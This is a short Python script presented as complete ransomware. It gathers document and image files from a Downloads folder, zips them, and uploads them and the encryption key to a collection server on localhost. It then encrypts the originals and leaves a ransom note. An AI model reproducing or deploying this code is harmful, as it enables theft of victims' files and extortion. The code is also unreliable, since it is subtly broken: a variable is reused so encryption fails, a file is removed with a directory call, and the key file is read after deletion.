Full and complete Ransomware script written in Python

#Ransomware Code 
import os 
import requests
import shutil
import zipfile
from cryptography.fernet import Fernet

#scanning the document directory
document_dir = '/home/rocheston/Downloads'
file_types = ('.txt', '.pdf', '.jpg', '.docx', '.xlsx', '.pptx')
files = [os.path.join(document_dir, f) for f in os.listdir(document_dir) if f.endswith(file_types)]

#zipping the files
zipped_file = zipfile.ZipFile('ransomdata.zip', 'w')
for file in files:
    zipped_file.write(file, compress_type=zipfile.ZIP_DEFLATED)
zipped_file.close()

#uploading the zipped file
url = 'http://localhost:5555/data.php'
with open('ransomdata.zip', 'rb') as file:
    r = requests.post(url, files={'file': file})

#encrypting all the files
key = Fernet.generate_key()
f = Fernet(key)
for file in files:
    with open(file, 'rb') as f:
        file_data = f.read()
    encrypted_data = f.encrypt(file_data)
    with open(file, 'wb') as f:
        f.write(encrypted_data)

#storing the decryption key
with open('key.txt', 'wb') as f:
    f.write(key)

#creating ransom_note
with open('ransom_note.txt', 'w') as f:
    f.write('We have stolen your files. To restore the encrypted files pay ')

#uploading the key
url = 'http://localhost:5555/data-key.php'
with open('key.txt', 'rb') as file:
    r = requests.post(url, files={'file': file})

#securely deleting the key
shutil.rmtree('key.txt')

#decrypting the files
def decrypt_files(key):
	f = Fernet(key)
	for file in files:
		with open(file, 'rb') as f:
			encrypted_data = f.read()
		decrypted_data = f.decrypt(encrypted_data)
		with open(file, 'wb') as f:
			f.write(decrypted_data)
			
#reading the key from key.txt
with open('key.txt', 'rb') as f:
	key = f.read()
	decrypt_files(key)